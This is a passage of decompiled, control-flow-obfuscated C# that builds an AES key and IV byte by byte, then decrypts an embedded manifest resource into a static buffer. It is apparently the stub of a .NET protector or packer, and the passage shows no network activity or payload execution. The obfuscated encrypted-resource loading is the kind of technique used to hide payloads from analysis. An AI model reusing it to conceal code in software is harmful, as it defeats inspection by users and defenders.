if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto Block_11;
}
goto IL_2ADF;
case 122:
goto IL_5BD;
case 123:
goto IL_AD9;
case 124:
goto IL_588;
case 125:
goto IL_1D3C;
case 126:
goto IL_1CEF;
case 127:
goto IL_1F4A;
case 128:
array[22] = (byte)num6;
arg_2280_0 = 318;
continue;
case 129:
goto IL_20E;
case 130:
num4 = 194 - 105;
arg_2280_0 = 164;
continue;
case 131:
array4 = binaryReader.ReadBytes((int)binaryReader.get_BaseStream().get_Length());
arg_2280_0 = 51;
continue;
case 132:
goto IL_28DC;
case 133:
goto IL_1641;
case 134:
array2[3] = 128 - 42;
num2 = 213;
if (!false)
{
goto IL_227C;
}
break;
case 135:
goto IL_9D4;
case 136:
array[24] = 65 + 69;
num2 = 331;
if (!true)
{
goto IL_45A;
}
goto IL_227C;
case 137:
num6 = 56 + 29;
arg_2280_0 = 94;
continue;
case 138:
goto IL_F86;
case 139:
goto IL_AF;
case 140:
goto IL_6B6;
case 141:
goto IL_168A;
case 142:
goto IL_1C28;
case 143:
goto IL_63;
case 144:
goto IL_28BD;
case 145:
goto IL_1066;
case 146:
goto IL_12CA;
case 147:
goto IL_2175;
case 148:
num6 = 87 - 81;
arg_2280_0 = 214;
continue;
case 149:
goto IL_13D4;
case 150:
num3 = 163 - 54;
arg_2280_0 = 231;
continue;
case 151:
goto IL_6D3;
case 152:
goto IL_1AD0;
case 153:
goto IL_3B8;
case 154:
goto IL_13BC;
case 155:
num6 = 42 - 0;
num2 = 147;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto Block_21;
}
goto IL_EFD;
case 156:
goto IL_C6A;
case 157:
goto IL_505;
case 158:
goto IL_948;
case 159:
goto IL_61D;
case 160:
goto IL_1AE;
case 161:
goto IL_10A;
case 162:
binaryReader.get_BaseStream().set_Position(0L);
arg_2280_0 = 131;
continue;
case 163:
goto IL_1785;
case 164:
goto IL_7F9;
case 165:
goto IL_2022;
case 166:
goto IL_1CC;
case 167:
goto IL_635;
case 168:
goto IL_CC2;
case 169:
goto IL_685;
case 170:
goto IL_1F2B;
case 171:
goto IL_B7E;
case 172:
goto IL_17DA;
case 173:
goto IL_29CD;
case 174:
goto IL_1CCB;
case 175:
array2[15] = 99 + 26;
arg_2280_0 = 233;
continue;
case 176:
goto IL_15DB;
case 177:
goto IL_342;
case 178:
goto IL_1DCA;
case 179:
goto IL_2AA9;
case 180:
goto IL_1437;
case 181:
num4 = 66 + 113;
arg_2280_0 = 207;
continue;
case 182:
goto IL_45A;
case 183:
goto IL_2ADF;
case 184:
array[15] = (byte)num6;
arg_2280_0 = 125;
continue;
case 185:
goto IL_1BB4;
case 186:
goto IL_2A28;
case 187:
goto IL_157F;
case 188:
goto IL_2BA0;
case 189:
memoryStream = new MemoryStream();
num2 = 93;
if (!true)
{
goto IL_1F12;
}
goto IL_227C;
case 190:
num4 = 181 - 60;
arg_2280_0 = 169;
continue;
case 191:
goto IL_2B7A;
case 192:
goto IL_97E;
case 193:
goto IL_EC7;
case 194:
goto IL_4D4;
case 195:
goto IL_BB6;
case 196:
goto IL_816;
case 197:
array2[2] = 113 + 74;
num2 = 190;
if (false)
{
goto IL_2BD4;
}
goto IL_227C;
case 198:
array[12] = (byte)num6;
arg_2280_0 = 74;
continue;
case 199:
goto IL_22B;
case 200:
goto IL_2A60;
case 201:
num6 = 149 - 49;
arg_2280_0 = 198;
continue;
case 202:
goto IL_F50;
case 203:
goto IL_A99;
case 204:
goto IL_D0C;
case 205:
goto IL_F68;
case 206:
goto IL_10B2;
case 207:
array2[10] = (byte)num4;
arg_2280_0 = 118;
continue;
case 208:
goto IL_1413;
case 209:
goto IL_1D13;
case 210:
array[18] = (byte)num5;
arg_2280_0 = 298;
continue;
case 211:
goto IL_3E0;
case 212:
goto IL_20C1;
case 213:
array2[3] = 211 - 70;
arg_2280_0 = 227;
continue;
case 214:
goto IL_2140;
case 215:
break;
case 216:
goto IL_835;
case 217:
goto IL_B06;
case 218:
goto IL_1E74;
case 219:
goto IL_1858;
case 220:
array[1] = 42 + 88;
arg_2280_0 = 44;
continue;
case 221:
array2[0] = 135 - 42;
num2 = 10;
if (!exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
goto IL_1BB4;
}
goto IL_227C;
case 222:
goto IL_1266;
case 223:
array[11] = 203 - 67;
arg_2280_0 = 109;
continue;
case 224:
num4 = 169 - 56;
arg_2280_0 = 70;
continue;
case 225:
goto IL_1DE2;
case 226:
array[13] = 121 + 44;
num2 = 157;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto Block_20;
}
goto IL_D30;
case 227:
goto IL_2236;
case 228:
goto IL_24F;
case 229:
goto IL_2085;
case 230:
goto IL_15E;
case 231:
array2[6] = (byte)num3;
arg_2280_0 = 72;
continue;
case 232:
goto IL_10FF;
case 233:
goto IL_5A0;
case 234:
array2[10] = (byte)num3;
arg_2280_0 = 181;
continue;
case 235:
goto IL_1622;
case 236:
num4 = 133 - 44;
arg_2280_0 = 85;
continue;
case 237:
goto IL_C85;
case 238:
goto IL_DAC;
case 239:
num6 = 112 + 47;
arg_2280_0 = 124;
continue;
case 240:
goto IL_1096;
case 241:
array[4] = 66 + 15;
arg_2280_0 = 92;
continue;
case 242:
goto IL_EE5;
case 243:
goto IL_1877;
case 244:
goto IL_E54;
case 245:
goto IL_2210;
case 246:
goto IL_10E6;
case 247:
goto IL_120D;
case 248:
goto IL_2881;
case 249:
goto IL_1CA9;
case 250:
goto IL_6EF;
case 251:
goto IL_BFA;
case 252:
goto IL_1A11;
case 253:
goto IL_AC0;
case 254:
array2[10] = 164 - 54;
arg_2280_0 = 272;
continue;
case 255:
array2[12] = 7 + 95;
arg_2280_0 = 86;
continue;
case 256:
goto IL_93;
case 257:
goto IL_1BEA;
case 258:
memoryStream.Close();
num2 = 35;
if (false)
{
goto IL_780;
}
goto IL_227C;
case 259:
goto IL_1D90;
case 260:
array[22] = 96 + 123;
arg_2280_0 = 322;
continue;
case 261:
goto IL_EFD;
case 262:
goto IL_215C;
case 263:
goto IL_1AF1;
case 264:
array[12] = (byte)num6;
arg_2280_0 = 201;
continue;
case 265:
num3 = 226 - 75;
arg_2280_0 = 234;
continue;
case 266:
cryptoStream.FlushFinalBlock();
arg_2280_0 = 337;
continue;
case 267:
goto IL_1EE4;
case 268:
goto IL_2BD4;
case 269:
goto IL_DE7;
case 270:
goto IL_115D;
case 271:
goto IL_E90;
case 272:
goto IL_41D;
case 273:
goto IL_1F7C;
case 274:
num4 = 140 - 46;
arg_2280_0 = 256;
continue;
case 275:
goto IL_2864;
case 276:
array[4] = (byte)num5;
arg_2280_0 = 241;
continue;
case 277:
goto IL_19B8;
case 278:
goto IL_297C;
case 279:
goto IL_7B8;
case 280:
goto IL_B42;
case 281:
array[0] = 250 - 83;
arg_2280_0 = 104;
continue;
case 282:
goto IL_14C3;
case 283:
array2[7] = (byte)num3;
arg_2280_0 = 3;
continue;
case 284:
goto IL_111B;
case 285:
num5 = 50 + 81;
arg_2280_0 = 133;
continue;
case 286:
num6 = 110 + 12;
num2 = 23;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto Block_16;
}
goto IL_D0C;
case 287:
goto IL_16D7;
case 288:
array2[5] = 182 - 60;
arg_2280_0 = 224;
continue;
case 289:
goto IL_1283;
case 290:
goto IL_1FB8;
case 291:
goto IL_19ED;
case 292:
goto IL_1DAC;
case 293:
goto IL_565;
case 294:
num5 = 60 + 91;
arg_2280_0 = 259;
continue;
case 295:
num5 = 49 + 84;
arg_2280_0 = 78;
continue;
case 296:
goto IL_8FE;
case 297:
num5 = 66 + 38;
arg_2280_0 = 312;
continue;
case 298:
num5 = 63 + 62;
arg_2280_0 = 149;
continue;
case 299:
goto IL_18BA;
case 300:
array[26] = 134 - 113;
arg_2280_0 = 90;
continue;
case 301:
goto IL_28A5;
case 302:
goto IL_A21;
case 303:
goto IL_F1A;
case 304:
goto IL_11BF;
case 305:
array[25] = 47 + 42;
arg_2280_0 = 16;
continue;
case 306:
array2[8] = (byte)num4;
arg_2280_0 = 121;
continue;
case 307:
array[15] = (byte)num6;
arg_2280_0 = 84;
continue;
case 308:
goto IL_D6A;
case 309:
array[0] = 212 - 70;
num2 = 107;
if (false)
{
goto IL_12CA;
}
goto IL_227C;
case 310:
num5 = 161 - 53;
num2 = 9;
if (false)
{
goto IL_2128;
}
goto IL_227C;
case 311:
array[5] = 22 + 59;
arg_2280_0 = 308;
continue;
case 312:
array[19] = (byte)num5;
arg_2280_0 = 185;
continue;
case 313:
num3 = 229 - 76;
arg_2280_0 = 283;
continue;
case 314:
goto IL_A7C;
case 315:
goto IL_1659;
case 316:
goto IL_19D5;
case 317:
num3 = 16 + 93;
num2 = 151;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto Block_2;
}
goto IL_1BB4;
case 318:
goto IL_1243;
case 319:
binaryReader = new BinaryReader(typeof(exusuKvsSOxhZLQsnV).get_Assembly().GetManifestResourceStream("3bVH8RDfe6pr0fPRiS.sb41gNXn9libkn6vcu"));
arg_2280_0 = 162;
continue;
case 320:
goto IL_1306;
case 321:
goto IL_133B;
case 322:
goto IL_18D6;
case 323:
goto IL_12E3;
case 324:
goto IL_16F4;
case 325:
num6 = 228 - 76;
num2 = 18;
if (!true)
{
goto IL_7F9;
}
goto IL_227C;
case 327:
array[1] = 32 + 107;
arg_2280_0 = 215;
continue;
case 328:
array[17] = 36 + 67;
num2 = 33;
if (exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto IL_61D;
}
goto IL_227C;
case 329:
num5 = 41 + 73;
arg_2280_0 = 8;
continue;
case 330:
num5 = 109 - 71;
arg_2280_0 = 335;
continue;
case 331:
array[24] = 121 - 100;
arg_2280_0 = 41;
continue;
case 332:
goto IL_862;
case 333:
goto IL_1EA9;
case 334:
array2[13] = 213 + 35;
arg_2280_0 = 115;
continue;
case 335:
goto IL_16BB;
case 336:
goto IL_2259;
case 337:
goto IL_48;
case 338:
goto IL_2BF3;
default:
arg_2280_0 = 79;
continue;
}
array[2] = 53 + 24;
arg_2280_0 = 199;
continue;
IL_61D:
array[26] = (byte)num5;
arg_2280_0 = 300;
continue;
IL_685:
array2[3] = (byte)num4;
arg_2280_0 = 134;
continue;
IL_780:
num6 = 62 + 38;
arg_2280_0 = 75;
continue;
IL_816:
array2[0] = 179 - 59;
arg_2280_0 = 65;
continue;
IL_7F9:
array2[12] = (byte)num4;
num2 = 73;
if (!true)
{
goto IL_816;
}
goto IL_227C;
IL_A5D:
array[11] = 243 - 81;
arg_2280_0 = 217;
continue;
IL_BFA:
array[12] = 89 - 7;
arg_2280_0 = 96;
continue;
IL_D30:
array2[0] = (byte)num3;
arg_2280_0 = 221;
continue;
IL_D0C:
array[3] = 44 + 0;
num2 = 76;
if (!true)
{
goto IL_D30;
}
goto IL_227C;
IL_D6A:
num6 = 216 - 72;
arg_2280_0 = 161;
continue;
IL_F1A:
num4 = 229 - 76;
arg_2280_0 = 66;
continue;
IL_EFD:
array[3] = (byte)num6;
num2 = 194;
if (false)
{
goto IL_F1A;
}
goto IL_227C;
IL_F50:
array[27] = (byte)num5;
arg_2280_0 = 165;
continue;
IL_F33:
array2[11] = (byte)num3;
num2 = 271;
if (!true)
{
goto IL_F50;
}
goto IL_227C;
IL_1066:
array[28] = (byte)num5;
arg_2280_0 = 22;
continue;
IL_45A:
num4 = 229 - 76;
num2 = 301;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto Block_4;
}
goto IL_1066;
IL_11BF:
num3 = 7 + 22;
arg_2280_0 = 140;
continue;
IL_1D3C:
array[16] = 56 + 113;
num2 = 89;
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
goto Block_14;
}
goto IL_11BF;
IL_12CA:
num5 = 167 + 63;
arg_2280_0 = 54;
continue;
IL_13BC:
array2[11] = (byte)num4;
arg_2280_0 = 303;
continue;
IL_139F:
array2[9] = (byte)num4;
num2 = 321;
if (!true)
{
goto IL_13BC;
}
goto IL_227C;
IL_15C2:
num6 = 17 + 63;
arg_2280_0 = 81;
continue;
IL_1622:
array[5] = 11 + 54;
arg_2280_0 = 5;
continue;
IL_1659:
num6 = 121 + 56;
arg_2280_0 = 307;
continue;
IL_190C:
array2[5] = (byte)num3;
arg_2280_0 = 244;
continue;
IL_1BD2:
array[15] = (byte)num6;
arg_2280_0 = 2;
continue;
IL_1BB4:
num6 = 143 - 47;
num2 = 166;
if (false)
{
goto IL_1BD2;
}
goto IL_227C;
IL_1F12:
num5 = 183 - 61;
arg_2280_0 = 159;
continue;
IL_2128:
array[29] = (byte)num6;
arg_2280_0 = 40;
continue;
IL_2ADF:
array[26] = 244 - 81;
arg_2280_0 = 69;
continue;
IL_2BD4:
array2[0] = 84 + 18;
arg_2280_0 = 292;
}
IL_48:
exusuKvsSOxhZLQsnV.eTKTfNqfR = memoryStream.ToArray();
num2 = 258;
if (!true)
{
goto IL_63;
}
continue;
IL_93:
array2[13] = (byte)num4;
num2 = 334;
Block_2:
continue;
IL_EE:
array[18] = (byte)num5;
num2 = 222;
continue;
IL_10A:
array[5] = (byte)num6;
num2 = 295;
continue;
IL_1AE:
num3 = 133 - 44;
num2 = 116;
if (!false)
{
continue;
}
IL_1CC:
array[19] = (byte)num6;
num2 = 249;
Block_3:
continue;
IL_20E:
num6 = 82 + 119;
num2 = 82;
continue;
IL_22B:
array[2] = 243 - 81;
num2 = 216;
if (false)
{
goto IL_24F;
}
continue;
IL_326:
array2[12] = (byte)num4;
num2 = 160;
continue;
IL_342:
array[14] = 35 + 107;
num2 = 48;
continue;
IL_39C:
array2[1] = (byte)num3;
num2 = 277;
continue;
IL_3B8:
array2[3] = 71 - 66;
num2 = 176;
if (!exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
goto IL_3E0;
}
continue;
IL_3FF:
num4 = 151 - 50;
num2 = 154;
if (false)
{
goto IL_41D;
}
Block_4:
continue;
IL_499:
num3 = 235 - 121;
num2 = 34;
if (!false)
{
continue;
}
IL_4B7:
array[21] = (byte)num6;
num2 = 155;
if (false)
{
goto IL_4D4;
}
continue;
IL_543:
num5 = 22 + 98;
num2 = 71;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
IL_565:
array[7] = 68 + 100;
num2 = 243;
continue;
IL_5A0:
num3 = 68 + 56;
num2 = 80;
continue;
IL_5BD:
binaryReader.Close();
num2 = 156;
continue;
IL_5D2:
array[18] = 108 + 56;
num2 = 282;
continue;
IL_6B6:
array2[8] = (byte)num3;
num2 = 257;
if (true)
{
continue;
}
IL_6D3:
array2[14] = (byte)num3;
num2 = 45;
continue;
IL_6EF:
array[9] = 87 - 24;
num2 = 19;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
IL_717:
array[16] = (byte)num5;
num2 = 285;
if (exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
goto IL_738;
}
continue;
IL_7B8:
array[23] = 23 - 23;
num2 = 170;
continue;
IL_835:
array[2] = 153 - 51;
num2 = 117;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
goto IL_E90;
IL_8DD:
array2[6] = (byte)num4;
num2 = 55;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
IL_8FE:
num5 = 191 + 51;
num2 = 143;
continue;
IL_91B:
array[0] = 179 - 59;
num2 = 286;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
goto IL_2937;
IL_948:
num6 = 61 + 28;
num2 = 278;
continue;
IL_2937:
array[11] = (byte)num5;
num2 = 59;
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
continue;
}
goto IL_948;
IL_97E:
num4 = 149 + 49;
num2 = 206;
if (false)
{
goto IL_99C;
}
continue;
IL_A04:
num3 = 239 - 79;
num2 = 28;
continue;
IL_A7C:
num5 = 137 - 45;
num2 = 202;
continue;
IL_A99:
num5 = 105 + 15;
num2 = 61;
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
continue;
}
goto IL_A21;
IL_AD9:
array2[11] = 228 - 76;
num2 = 31;
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
continue;
}
goto IL_2998;
IL_B06:
array[11] = 217 - 72;
num2 = 287;
continue;
IL_B42:
array[29] = 124 + 77;
num2 = 246;
continue;
IL_BB6:
array2[10] = (byte)num4;
num2 = 123;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
goto IL_1E74;
IL_C6A:
num7 = BitConverter.ToInt32(exusuKvsSOxhZLQsnV.eTKTfNqfR, num);
num2 = 338;
continue;
IL_1F9E:
if (exusuKvsSOxhZLQsnV.eTKTfNqfR.Length == 0)
{
num2 = 319;
continue;
}
goto IL_C6A;
IL_C9E:
array[3] = 163 - 54;
num2 = 204;
if (!true)
{
goto IL_CC2;
}
continue;
IL_DAC:
array[31] = 87 + 36;
num2 = 323;
continue;
IL_E36:
num3 = 148 - 49;
num2 = 15;
if (false)
{
goto IL_E54;
}
continue;
IL_E73:
num5 = 182 + 28;
num2 = 135;
continue;
IL_EC7:
num5 = 34 + 38;
num2 = 168;
if (false)
{
goto IL_EE5;
}
continue;
IL_F68:
num3 = 0 + 47;
num2 = 58;
if (true)
{
continue;
}
IL_F86:
array[30] = 246 - 82;
num2 = 330;
if (!true)
{
goto IL_FAA;
}
continue;
IL_102A:
array[25] = 52 + 19;
num2 = 180;
if (!true)
{
goto IL_104E;
}
continue;
IL_1096:
array[29] = (byte)num6;
num2 = 273;
continue;
IL_10B2:
array2[4] = (byte)num4;
num2 = 182;
continue;
IL_10FF:
array[19] = (byte)num5;
num2 = 297;
continue;
IL_113A:
array2[1] = 152 - 50;
num2 = 187;
continue;
IL_115D:
array[24] = 207 - 69;
num2 = 105;
continue;
IL_11D8:
array[4] = (byte)num5;
num2 = 311;
if (!true)
{
goto IL_11F5;
}
continue;
IL_2B7A:
array[13] = (byte)num5;
num2 = 7;
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
continue;
}
goto IL_11D8;
IL_120D:
num3 = 39 - 24;
num2 = 67;
continue;
IL_1243:
array[22] = 162 - 106;
num2 = 52;
continue;
IL_1266:
num5 = 50 + 81;
num2 = 210;
continue;
IL_1283:
array[6] = 72 + 27;
num2 = 296;
continue;
IL_12E3:
array[31] = 129 - 43;
num2 = 101;
continue;
IL_1306:
array[18] = (byte)num6;
num2 = 203;
continue;
IL_133B:
array2[9] = 209 - 69;
num2 = 21;
continue;
IL_13D4:
array[18] = (byte)num5;
num2 = 310;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
goto IL_1AB6;
IL_1413:
array2[15] = 96 + 66;
num2 = 175;
if (!false)
{
continue;
}
IL_1437:
num5 = 167 - 55;
num2 = 275;
Block_11:
continue;
IL_1552:
array2[6] = 178 - 59;
num2 = 150;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
goto IL_18BA;
IL_15DB:
array2[4] = 178 - 59;
num2 = 142;
continue;
IL_16BB:
array[30] = (byte)num5;
num2 = 238;
continue;
IL_16D7:
num6 = 104 + 38;
num2 = 26;
continue;
IL_16F4:
array[23] = 29 + 35;
num2 = 294;
continue;
IL_1749:
num4 = 148 - 49;
num2 = 62;
continue;
IL_17BD:
num3 = 93 - 61;
num2 = 83;
continue;
IL_182A:
num5 = 191 - 79;
num2 = 110;
continue;
IL_1896:
array[4] = 173 - 57;
num2 = 193;
if (!false)
{
continue;
}
IL_18BA:
array[20] = (byte)num6;
num2 = 87;
Block_13:
continue;
IL_199B:
array[30] = (byte)num6;
num2 = 138;
if (true)
{
continue;
}
IL_19B8:
num4 = 203 - 67;
num2 = 302;
continue;
IL_19ED:
array2[1] = 113 + 53;
num2 = 108;
if (false)
{
goto IL_1A11;
}
continue;
IL_1A2A:
array2[8] = 220 - 73;
num2 = 236;
continue;
IL_1A77:
cryptoStream.Write(array4, 0, array4.Length);
num2 = 266;
continue;
IL_1A93:
array[25] = 44 + 83;
num2 = 305;
continue;
IL_2259:
array[25] = 142 - 47;
goto IL_1A93;
IL_2A28:
num3 = 134 - 44;
num2 = 60;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
goto IL_2259;
IL_1AB6:
cryptoStream = new CryptoStream(memoryStream, cryptoTransform, 1);
num2 = 77;
continue;
IL_1AD0:
array2[10] = (byte)num4;
num2 = 14;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
IL_1AF1:
array[17] = 185 - 88;
num2 = 172;
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
continue;
}
IL_1B19:
array2[12] = (byte)num3;
num2 = 130;
if (!true)
{
goto IL_1B36;
}
continue;
IL_1C28:
array2[4] = 102 + 79;
num2 = 64;
if (true)
{
continue;
}
IL_1C4C:
array2[4] = (byte)num3;
num2 = 174;
continue;
IL_1C81:
array[9] = 8 + 5;
num2 = 230;
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
continue;
}
IL_1CA9:
num6 = 125 - 39;
num2 = 212;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
IL_1CCB:
array2[4] = 11 + 87;
num2 = 192;
if (true)
{
continue;
}
IL_1CEF:
array2[2] = 37 + 62;
num2 = 205;
if (!true)
{
goto IL_1D13;
}
Block_14:
continue;
IL_1D69:
num6 = 184 + 49;
num2 = 184;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
goto IL_1785;
IL_1D90:
array[23] = (byte)num5;
num2 = 279;
continue;
IL_1DAC:
num3 = 33 + 120;
num2 = 139;
if (!true)
{
goto IL_1DCA;
}
continue;
IL_1DE2:
array2[15] = (byte)num4;
num2 = 188;
Block_16:
continue;
IL_1E8C:
num5 = 159 - 53;
num2 = 167;
continue;
IL_1EA9:
array2[7] = 53 + 115;
num2 = 27;
continue;
IL_1F7C:
num6 = 208 - 69;
num2 = 316;
if (!exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
goto IL_1F9E;
}
continue;
IL_2022:
array[27] = 118 + 71;
num2 = 179;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
IL_204A:
num5 = 252 - 84;
num2 = 13;
if (true)
{
continue;
}
IL_2068:
num5 = 163 - 54;
num2 = 267;
continue;
IL_2085:
array[24] = 190 - 63;
num2 = 270;
continue;
IL_2140:
array[10] = (byte)num6;
num2 = 158;
continue;
IL_2175:
array[21] = (byte)num6;
num2 = 98;
if (!exusuKvsSOxhZLQsnV.lvYMdYLtZONPtkk9EC())
{
continue;
}
IL_2196:
array[10] = (byte)num6;
num2 = 211;
continue;
IL_21B2:
array[31] = 228 - 76;
num2 = 114;
continue;
IL_21F4:
array[2] = (byte)num5;
num2 = 171;
continue;
IL_2210:
array[15] = (byte)num6;
num2 = 315;
if (exusuKvsSOxhZLQsnV.zvg5ndW6LDMdXVdWcF())
{
continue;
}
goto IL_738;
IL_2236:
array2[3] = 38 + 108;
num2 = 173;
continue;
IL_27DB:
num5 = 108 + 82;
num2 = 242;
if (!true)
{
goto IL_27F9;
}
Block_20:
continue;
IL_2864:
array[25] = (byte)num5;
num2 = 336;
if (!false)
{
continue;
}
IL_2881:
array[27] = 197 - 65;
num2 = 314;
if (!true)
{
goto IL_28A5;
}
Block_21:
continue;
IL_291B:
array[25] = (byte)num5;
num2 = 183;
continue;
IL_297C:
array[11] = (byte)num6;
num2 = 223;
continue;
IL_2998:
num4 = 153 - 51;
num2 = 38;
continue;
IL_29CD:
array2[3] = 145 - 48;
num2 = 153;
continue;
IL_2AA9:
num5 = 109 + 89;
num2 = 145;
if (!true)
{
goto IL_2AC7;
}
Block_24:
Block_25:;
}
IL_18:
array2[2] = (byte)num3;
arg_2278_0 = 126;
continue;
IL_30:
array[0] = (byte)num6;
arg_2278_0 = 326;
continue;
IL_63:
array[6] = (byte)num5;
arg_2278_0 = 237;
continue;
IL_AF:
array2[0] = (byte)num3;
arg_2278_0 = 196;
continue;
IL_15E:
array[9] = 22 + 88;
arg_2278_0 = 250;
continue;
IL_17D:
num6 = 123 + 26;
arg_2278_0 = 178;
continue;
IL_196:
array2[2] = (byte)num3;
arg_2278_0 = 197;
continue;
IL_24F:
array[20] = 183 - 61;
arg_2278_0 = 144;
continue;
IL_26E:
array[0] = 186 - 62;
arg_2278_0 = 281;
continue;
IL_3E0:
array[10] = 143 - 47;
arg_2278_0 = 148;
continue;
IL_41D:
num4 = 191 - 63;
arg_2278_0 = 152;
continue;
IL_4D4:
num6 = 124 - 56;
arg_2278_0 = 20;
continue;
IL_505:
array[14] = 220 - 73;
arg_2278_0 = 177;
continue;
IL_588:
array[7] = (byte)num6;
arg_2278_0 = 293;
continue;
IL_635:
array[23] = (byte)num5;
arg_2278_0 = 324;
continue;
IL_738:
num5 = 84 + 43;
arg_2278_0 = 53;
continue;
IL_862:
array[7] = (byte)num6;
arg_2278_0 = 239;
continue;
IL_965:
num6 = 16 + 93;
arg_2278_0 = 245;
continue;
IL_99C:
array[1] = 203 - 67;
arg_2278_0 = 327;
continue;
IL_9D4:
array[14] = (byte)num5;
arg_2278_0 = 29;
continue;
IL_A21:
array2[1] = (byte)num4;
arg_2278_0 = 291;
continue;
IL_AC0:
num4 = 143 - 47;
arg_2278_0 = 39;
continue;
IL_B65:
num5 = 110 + 22;
arg_2278_0 = 191;
continue;
IL_B7E:
array[2] = 145 + 57;
arg_2278_0 = 32;
continue;
IL_C85:
num6 = 163 - 54;
arg_2278_0 = 332;
continue;
IL_CC2:
array[4] = (byte)num5;
arg_2278_0 = 36;
continue;
IL_DE7:
AesManaged aesManaged;
byte[] array5;
cryptoTransform = aesManaged.CreateDecryptor(array3, array5);
arg_2278_0 = 189;
continue;
IL_E1D:
num6 = 215 - 71;
arg_2278_0 = 95;
continue;
IL_E54:
array2[5] = 145 - 92;
arg_2278_0 = 17;
continue;
IL_E90:
array2[12] = 196 - 65;
arg_2278_0 = 255;
continue;
IL_EE5:
array[28] = (byte)num5;
arg_2278_0 = 137;
continue;
IL_FAA:
num6 = 29 + 1;
arg_2278_0 = 132;
continue;
IL_FDB:
array[13] = (byte)num6;
arg_2278_0 = 163;
continue;
IL_1012:
array[18] = (byte)num5;
arg_2278_0 = 88;
continue;
IL_104E:
array2 = new byte[16];
arg_2278_0 = 268;
continue;
IL_10E6:
num6 = 135 - 45;
arg_2278_0 = 119;
continue;
IL_111B:
array[6] = 52 + 52;
arg_2278_0 = 289;
continue;
IL_11A0:
array2[7] = 73 + 91;
arg_2278_0 = 333;
continue;
IL_11F5:
array[11] = (byte)num6;
arg_2278_0 = 146;
continue;
IL_122A:
num6 = 133 - 44;
arg_2278_0 = 99;
continue;
IL_13FA:
num6 = 101 + 100;
arg_2278_0 = 264;
continue;
IL_1454:
array[22] = (byte)num5;
arg_2278_0 = 260;
continue;
IL_14C3:
num5 = 180 - 60;
arg_2278_0 = 232;
continue;
IL_153A:
array[24] = (byte)num6;
arg_2278_0 = 136;
continue;
IL_157F:
array2[1] = 145 - 48;
arg_2278_0 = 252;
continue;
IL_1641:
array[16] = (byte)num5;
arg_2278_0 = 328;
continue;
IL_168A:
array2[6] = (byte)num3;
arg_2278_0 = 313;
continue;
IL_1785:
array[13] = 105 + 97;
arg_2278_0 = 226;
continue;
IL_17DA:
num6 = 126 - 42;
arg_2278_0 = 320;
continue;
IL_1858:
array[8] = 162 - 116;
arg_2278_0 = 6;
continue;
IL_1877:
array[8] = 73 + 91;
arg_2278_0 = 12;
continue;
IL_18D6:
num6 = 149 - 49;
arg_2278_0 = 128;
continue;
IL_194B:
num5 = 150 - 57;
arg_2278_0 = 24;
continue;
IL_1964:
array[3] = (byte)num6;
arg_2278_0 = 106;
continue;
IL_197C:
array[8] = 53 + 115;
arg_2278_0 = 219;
continue;
IL_19D5:
array[29] = (byte)num6;
arg_2278_0 = 129;
continue;
IL_1A11:
num3 = 145 + 74;
arg_2278_0 = 47;
continue;
IL_1B36:
array2[9] = (byte)num3;
arg_2278_0 = 265;
continue;
IL_1BEA:
array2[8] = 24 + 6;
arg_2278_0 = 262;
continue;
IL_1D13:
aesManaged = new AesManaged();
arg_2278_0 = 269;
continue;
IL_1DCA:
array[31] = (byte)num6;
arg_2278_0 = 68;
continue;
IL_1E25:
array[29] = (byte)num6;
arg_2278_0 = 280;
continue;
IL_1E74:
array2[14] = (byte)num4;
arg_2278_0 = 317;
continue;
IL_1EE4:
array[12] = (byte)num5;
arg_2278_0 = 56;
continue;
IL_1F2B:
array[24] = 145 - 48;
arg_2278_0 = 229;
continue;
IL_1F4A:
num6 = 254 - 84;
arg_2278_0 = 299;
continue;
IL_1FB8:
num4 = 26 - 2;
arg_2278_0 = 225;
continue;
IL_20C1:
array[19] = (byte)num6;
arg_2278_0 = 127;
continue;
IL_20D9:
num5 = 189 - 72;
arg_2278_0 = 37;
continue;
IL_215C:
num4 = 109 - 19;
arg_2278_0 = 306;
continue;
IL_27F9:
array[17] = 114 + 68;
arg_2278_0 = 263;
continue;
IL_28A5:
array2[5] = (byte)num4;
